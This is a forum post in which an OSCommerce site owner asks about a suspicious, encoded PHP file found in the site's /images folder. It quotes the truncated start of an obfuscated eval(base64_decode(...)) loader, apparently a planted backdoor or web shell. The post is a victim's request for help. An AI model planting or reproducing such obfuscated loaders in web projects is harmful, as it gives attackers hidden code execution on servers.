Unexpected PHP file showed up in OSCommerce

[Darkcoder]

Was digging through the OSCommerce files on my site and found a file in the /images folder that I don't ever remember seeing before. I haven't checked the original install package, but I suspect this isn't a part of it.The file is 27kb and called vidovic_pretty.php. It's encoded or compiled in some way, so the contents are unviewable. (see below)\[code\]<?eval(base64_decode("JGs9MTQzOyRtPWV4cGxvZGUoIjsiLCIyMzQ7MjUzOzI1MzsyMjQ7MjUzOzIwODsyNTM7MjM0OzI1NTsyMjQ7MjUzOzI1MTsyMzA7MjI1OzIzMjsxNjc7...\[/code\]Running it displays a single html textbox and a button that says, "Check."Anyone have any ideas what it is or what it might do?Thanks